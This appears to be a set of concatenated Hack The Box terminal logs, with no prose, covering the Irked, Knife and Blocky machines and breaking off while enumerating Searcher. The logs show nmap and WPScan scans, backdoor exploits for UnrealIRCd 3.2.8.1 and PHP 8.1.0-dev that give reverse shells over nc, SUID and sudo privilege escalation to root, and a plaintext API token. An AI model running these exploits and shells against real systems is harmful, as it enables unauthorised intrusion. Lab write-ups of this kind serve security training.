| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
34697/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4, Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 65.27 ms 10.10.16.1
2 32.13 ms 10.10.10.117
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.26 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...irssi -c 10.10.10.117 -p 6697/info Irssi v1.4.5 - https://irssi.org
18:19 -!- WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ are supported by
this server
18:19 -!- EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP are supported by this server
18:19 -!- There are 1 users and 2 invisible on 1 servers
18:19 -!- I have 3 clients and 0 servers
18:19 -!- Current Local Users: 3 Max: 3
18:19 -!- Current Global Users: 3 Max: 3
18:19 -!- MOTD File is missing
18:19 -!- Mode change [+iwx] for user kali__
18:19 -!- Irssi: Your nick is in use by kali [kali@120D0D3E.E1443270.9F3BFBDD.IP]
18:22 -!- =-=-=-= Unreal3.2.8.1 =-=-=-=
18:22 -!- | This release was brought to you by the following people:
18:22 -!- |
18:22 -!- | Coders:
18:22 -!- | * Syzop <syzop@unrealircd.com>
18:22 -!- |
18:22 -!- | Contributors:
18:22 -!- | * aquanight <aquanight@unrealircd.com>
18:22 -!- | * WolfSage <wolfsage@unrealircd.com>
18:22 -!- | * Stealth, tabrisnet, Bock, fbi
18:22 -!- |
18:22 -!- | RC Testers:
18:22 -!- | * Bock, Apocalypse, StrawberryKittens, wax, Elemental,
18:22 -!- | Golden|Wolf, and everyone else who tested the RC's
18:22 -!- |
18:22 -!- | Past UnrealIRCd3.2* coders/contributors:
18:22 -!- | * Stskeeps (ret. head coder / project leader)
18:22 -!- | * codemastr (ret. u3.2 head coder)
18:22 -!- | * McSkaf, Zogg, NiQuiL, chasm, llthangel, nighthawk, ..
18:22 -!- |
18:22 -!- |
18:22 -!- | Credits - Type /Credits
18:22 -!- | DALnet Credits - Type /DalInfo
18:22 -!- |
18:22 -!- | This is an UnrealIRCd-style server
18:22 -!- | If you find any bugs, please report them at:
18:22 -!- | http://bugs.unrealircd.org/
18:22 -!- | UnrealIRCd Homepage: http://www.unrealircd.com
18:22 -!- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
18:22 -!- Birth Date: Mon May 14 2018 at 13:12:50 EDT, compile # 1
18:22 -!- On-line since Sun Mar 23 12:24:54 2025
18:22 -!- ReleaseID (1.1.1.1.2.26 2009/04/13 11:03:55)
18:22 -!- End of /INFO list.
[18:22] [kali__(+iwx)] [1:10 (change with ^X)]
[(status)] ❯ git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor; cd UnrealIRCd-3.2.8.1-Backdoor
Clonando en 'UnrealIRCd-3.2.8.1-Backdoor'...
remote: Enumerating objects: 19, done.
remote: Total 19 (delta 0), reused 0 (delta 0), pack-reused 19 (from 1)
Recibiendo objetos: 100% (19/19), 4.19 KiB | 1.05 MiB/s, listo.
Resolviendo deltas: 100% (6/6), listo.❯ head -n 15 exploit.py
#!/usr/bin/python3
import argparse
import socket
import base64
# Sets the target ip and port from argparse
parser = argparse.ArgumentParser()
parser.add_argument('ip', help='target ip')
parser.add_argument('port', help='target port', type=int)
parser.add_argument('-payload', help='set payload type', required=True, choices=['python', 'netcat', 'bash'])
args = parser.parse_args()
# Sets the local ip and port (address and port to listen on)
local_ip = '10.10.16.2' # CHANGE THIS
local_port = '443' # CHANGE THIS❯ nc -nlvp 443
listening on [any] 443 ...❯ python3 exploit.py 10.10.10.117 6697 -payload bash
Exploit sent successfully!❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.117] 40882
bash: cannot set terminal process group (591): Inappropriate ioctl for device
bash: no job control in this shell
ircd@irked:~/Unreal3.2$ script /dev/null -c bash
script /dev/null -c bash
ircd@irked:~/Unreal3.2$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
ircd@irked:~/Unreal3.2$ export TERM=xterm
ircd@irked:~/Unreal3.2$ export SHELL=bash
ircd@irked:~/Unreal3.2$ stty rows 46 columns 230ircd@irked:/home/djmardov/Documents$ ls -la
total 12
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 .
drwxr-xr-x 18 djmardov djmardov 4096 Sep 5 2022 ..
-rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
lrwxrwxrwx 1 root root 23 Sep 5 2022 user.txt -> /home/djmardov/user.txt
ircd@irked:/home/djmardov/Documents$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
ircd@irked:/home/djmardov/Documents$ ❯ wget 10.10.10.117/irked.jpg
Prepended http:// to '10.10.10.117/irked.jpg'
--2025-03-23 18:46:28-- http://10.10.10.117/irked.jpg
Conectando con 10.10.10.117:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 34697 (34K) [image/jpeg]
Grabando a: «irked.jpg»
irked.jpg 100%[==================================================================================================================================>] 33,88K --.-KB/s en 0,1s
2025-03-23 18:46:29 (350 KB/s) - «irked.jpg» guardado [34697/34697]
❯ ls -l irked.jpg; file irked.jpg
.rw-rw-r-- gzzcoo gzzcoo 34 KB Mon May 14 19:53:03 2018 irked.jpg
irked.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 600x600, components 3❯ steghide extract -sf irked.jpg
Anotar salvoconducto:
anot� los datos extra�dos e/"pass.txt".
❯ cat pass.txt
Kab6h+m+bbp2J:HG❯ sshpass -p 'Kab6h+m+bbp2J:HG' ssh djmardov@10.10.10.117
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$ cat user.txt
e4d*****************************djmardov@irked:~$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umountdjmardov@irked:~$ ls -l /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16 2018 /usr/bin/viewuser
djmardov@irked:~$ file /usr/bin/viewuser
/usr/bin/viewuser: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69ba4bc75bf72037f1ec492bc4cde2550eeac4bb, not stripped
djmardov@irked:~$ djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-03-23 12:24 (:0)
djmardov pts/1 2025-03-23 13:50 (10.10.16.2)
sh: 1: /tmp/listusers: not found
djmardov@irked:~$ djmardov@irked:~$ cd /usr/bin
djmardov@irked:/usr/bin~$ python3 -m http.server 8080❯ wget 10.10.10.117:8080/viewuser
Prepended http:// to '10.10.10.117:8080/viewuser'
--2025-03-23 18:53:33-- http://10.10.10.117:8080/viewuser
Conectando con 10.10.10.117:8080... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 7328 (7,2K) [application/octet-stream]
Grabando a: «viewuser»
viewuser 100%[==================================================================================================================================>] 7,16K --.-KB/s en 0,03s
2025-03-23 18:53:33 (235 KB/s) - «viewuser» guardado [7328/7328]
❯ file viewuser
viewuser: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69ba4bc75bf72037f1ec492bc4cde2550eeac4bb, not stripped❯ chmod +x viewuser
❯ ltrace ./viewuser
__libc_start_main(["./viewuser"] <unfinished ...>
puts("This application is being devleo"...This application is being devleoped to set and test user permissions
) = 69
puts("It is still being actively devel"...It is still being actively developed
) = 37
system("who" <no return ...>
--- SIGCHLD (El proceso hijo terminó) ---
<... system resumed> ) = 0
setuid(0) = -1
system("/tmp/listusers"sh: 1: /tmp/listusers: not found
<no return ...>
--- SIGCHLD (El proceso hijo terminó) ---
<... system resumed> ) = 32512
+++ exited (status 0) +++djmardov@irked:~$ echo 'id' > /tmp/listusers
djmardov@irked:~$ ls -l /tmp/listusers
-rw-r--r-- 1 djmardov djmardov 3 Mar 23 13:58 /tmp/listusers
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-03-23 12:24 (:0)
djmardov pts/1 2025-03-23 13:50 (10.10.16.2)
sh: 1: /tmp/listusers: Permission denied
djmardov@irked:~$ djmardov@irked:~$ chmod +x /tmp/listusers
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-03-23 12:24 (:0)
djmardov pts/1 2025-03-23 13:50 (10.10.16.2)
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
djmardov@irked:~$ djmardov@irked:~$ echo '/bin/bash' > /tmp/listusers
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-03-23 12:24 (:0)
djmardov pts/1 2025-03-23 13:50 (10.10.16.2)
root@irked:~# whoami
root
root@irked:~# cat /root/root.txt
28ea6***************************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.242 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 04:56 CET
Initiating SYN Stealth Scan at 04:56
Scanning 10.10.10.242 [65535 ports]
Discovered open port 22/tcp on 10.10.10.242
Discovered open port 80/tcp on 10.10.10.242
Completed SYN Stealth Scan at 04:56, 12.50s elapsed (65535 total ports)
Nmap scan report for 10.10.10.242
Host is up, received user-set (0.042s latency).
Scanned at 2025-01-26 04:56:13 CET for 12s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.60 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65541 (2.622MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.242
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.10.242 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 04:58 CET
Nmap scan report for knife.htb (10.10.10.242)
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 90.36 ms 10.10.16.1
2 31.31 ms knife.htb (10.10.10.242)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce; cd php-8.1.0-dev-backdoor-rce
Clonando en 'php-8.1.0-dev-backdoor-rce'...
remote: Enumerating objects: 241, done.
remote: Counting objects: 100% (239/239), done.
remote: Compressing objects: 100% (113/113), done.
remote: Total 241 (delta 128), reused 232 (delta 124), pack-reused 2 (from 1)
Recibiendo objetos: 100% (241/241), 1.66 MiB | 9.65 MiB/s, listo.
Resolviendo deltas: 100% (128/128), listo.❯ nc -nlvp 443
listening on [any] 443 ...❯ python3 revshell_php_8.1.0-dev.py http://10.10.10.242 10.10.16.5 443❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.242] 52728
bash: cannot set terminal process group (1035): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ cat /home/james/user.txt
cat /home/james/user.txt
a7ef6c441**********************james@knife:/$ sudo -l
sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knifejames@knife:/$ sudo /usr/bin/knife exec -E 'exec "/bin/bash"'
sudo /usr/bin/knife exec -E 'exec "/bin/bash"'
root@knife:/# cat /root/root.txt
cat /root/root.txt
a802f8156***********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.37 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 05:21 CET
Initiating SYN Stealth Scan at 05:21
Scanning 10.10.10.37 [65535 ports]
Discovered open port 80/tcp on 10.10.10.37
Discovered open port 22/tcp on 10.10.10.37
Discovered open port 21/tcp on 10.10.10.37
SYN Stealth Scan Timing: About 23.45% done; ETC: 05:23 (0:01:41 remaining)
SYN Stealth Scan Timing: About 51.71% done; ETC: 05:23 (0:00:57 remaining)
Discovered open port 25565/tcp on 10.10.10.37
Completed SYN Stealth Scan at 05:23, 101.95s elapsed (65535 total ports)
Nmap scan report for 10.10.10.37
Host is up, received user-set (0.034s latency).
Scanned at 2025-02-05 05:21:46 CET for 102s
Not shown: 65530 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
25565/tcp open minecraft syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 102.04 seconds
Raw packets sent: 131142 (5.770MB) | Rcvd: 132 (7.804KB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.37
[*] Open ports: 21,22,80,25565
[*] Ports copied to clipboard❯ nmap -sCV -p21,22,80,25565 10.10.10.37 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 05:24 CET
Nmap scan report for blocky.htb (10.10.10.37)
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: BlockyCraft – Under Construction!
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: WordPress 4.8
25565/tcp open minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|2.6.X (97%), Synology DiskStation Manager 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/a:synology:diskstation_manager:7.1 cpe:/o:linux:linux_kernel:4.4
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.13 - 4.4 (97%), Linux 3.2 - 4.14 (97%), Linux 3.8 - 3.16 (97%), Linux 2.6.32 - 3.13 (91%), Linux 4.4 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.8 (90%), Synology DiskStation Manager 7.1 (Linux 4.4) (90%), Linux 4.9 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 60.96 ms 10.10.16.1
2 144.86 ms blocky.htb (10.10.10.37)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.44 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep 10.10.10.37
10.10.10.37 blocky.htb❯ wpscan --no-banner --url http://blocky.htb/ --enumerate vt,vp,u --random-user-agent --api-token "3RgqcAfTskXCuHlHqGwlfskcGZIs0srAYo4RsDys0gg"
[+] URL: http://blocky.htb/ [10.10.10.37]
[+] Started: Wed Feb 5 05:28:21 2025
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blocky.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blocky.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blocky.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blocky.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.8 identified (Insecure, released on 2017-06-08).
| Found By: Rss Generator (Passive Detection)
| - http://blocky.htb/index.php/feed/, <generator>https://wordpress.org/?v=4.8</generator>
| - http://blocky.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.8</generator>
|
| [!] 87 vulnerabilities identified:
|
| [!] Title: WordPress 2.3-4.8.3 - Host Header Injection in Password Reset
| References:
| - https://wpscan.com/vulnerability/b3f2f3db-75e4-4d48-ae5e-d4ff172bc093
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295
| - https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
| - https://blog.dewhurstsecurity.com/2017/05/04/exploitbox-wordpress-security-advisories.html
| - https://core.trac.wordpress.org/ticket/25239
|
| [!] Title: WordPress 2.3.0-4.8.1 - $wpdb->prepare() potential SQL Injection
| Fixed in: 4.8.2
| References:
| - https://wpscan.com/vulnerability/9b3414c0-b33b-4c55-adff-718ff4c3195d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14723
| - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48
| - https://github.com/WordPress/WordPress/commit/fc930d3daed1c3acef010d04acc2c5de93cd18ec
|
| [!] Title: WordPress 2.9.2-4.8.1 - Open Redirect
| Fixed in: 4.8.2
| References:
| - https://wpscan.com/vulnerability/571beae9-d92d-4f9b-aa9f-7c94e33683a1
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14725
| - https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
| - https://core.trac.wordpress.org/changeset/41398
..[snip]---
[+] WordPress theme in use: twentyseventeen
| Location: http://blocky.htb/wp-content/themes/twentyseventeen/
| Last Updated: 2024-11-12T00:00:00.000Z
| Readme: http://blocky.htb/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.8
| Style URL: http://blocky.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blocky.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8, Match: 'Version: 1.3'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:12 <======================================================================================================================================================> (652 / 652) 100.00% Time: 00:00:12
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <========================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] notch
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blocky.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Notch
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 3
| Requests Remaining: 22
[+] Finished: Wed Feb 5 05:28:43 2025
[+] Requests Done: 715
[+] Cached Requests: 11
[+] Data Sent: 213.202 KB
[+] Data Received: 697.835 KB
[+] Memory used: 296.145 MB
[+] Elapsed time: 00:00:21dir❯ dirsearch -u 'http://blocky.htb' -i 200 -t 50 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Blocky/Blocky/reports/http_blocky.htb/_25-02-05_05-31-05.txt
Target: http://blocky.htb/
[05:31:05] Starting:
[05:31:56] 200 - 7KB - /license.txt
[05:32:13] 200 - 3KB - /phpmyadmin/doc/html/index.html
[05:32:13] 200 - 3KB - /phpmyadmin/
[05:32:14] 200 - 409B - /plugins/
[05:32:14] 200 - 3KB - /phpmyadmin/index.php
[05:32:20] 200 - 3KB - /readme.html
[05:32:40] 200 - 256B - /wiki/
[05:32:40] 200 - 1B - /wp-admin/admin-ajax.php
[05:32:41] 200 - 0B - /wp-config.php
[05:32:42] 200 - 0B - /wp-content/
[05:32:42] 200 - 531B - /wp-admin/install.php
[05:32:42] 200 - 84B - /wp-content/plugins/akismet/akismet.php
[05:32:43] 200 - 0B - /wp-cron.php
[05:32:44] 200 - 453B - /wp-content/uploads/
[05:32:45] 200 - 1KB - /wp-login.php
[05:33:10] 200 - 4KB - /wp-includes/
Task Completed
❯ ssh root@blocky.htb
root@blocky.htb's password:
Permission denied, please try again.
root@blocky.htb's password:
❯ ssh notch@blocky.htb
notch@blocky.htb's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
7 packages can be updated.
7 updates are security updates.
Last login: Fri Jul 8 07:16:08 2022 from 10.10.14.29
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
notch@Blocky:~$ ls
minecraft user.txt
notch@Blocky:~$ cat user.txt
d2509c6d347*********************notch@Blocky:~$ id
uid=1000(notch) gid=1000(notch) groups=1000(notch),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
notch@Blocky:~$ sudo su
[sudo] password for notch:
root@Blocky:/home/notch# cd /root
root@Blocky:~# cat root.txt
828a54064***********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.208 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 05:37 CET
Initiating SYN Stealth Scan at 05:37
Scanning 10.10.11.208 [65535 ports]
Discovered open port 22/tcp on 10.10.11.208
Discovered open port 80/tcp on 10.10.11.208
Completed SYN Stealth Scan at 05:37, 12.14s elapsed (65535 total ports)
Nmap scan report for 10.10.11.208
Host is up, received user-set (0.054s latency).
Scanned at 2025-02-13 05:37:35 CET for 12s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.25 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65541 (2.622MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.208
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.208 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 05:38 CET
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Searcher
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 59.87 ms 10.10.16.1
2 29.86 ms searcher.htb (10.10.11.208)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep searcher
10.10.11.208 searcher.htb❯ whatweb http://searcher.htb
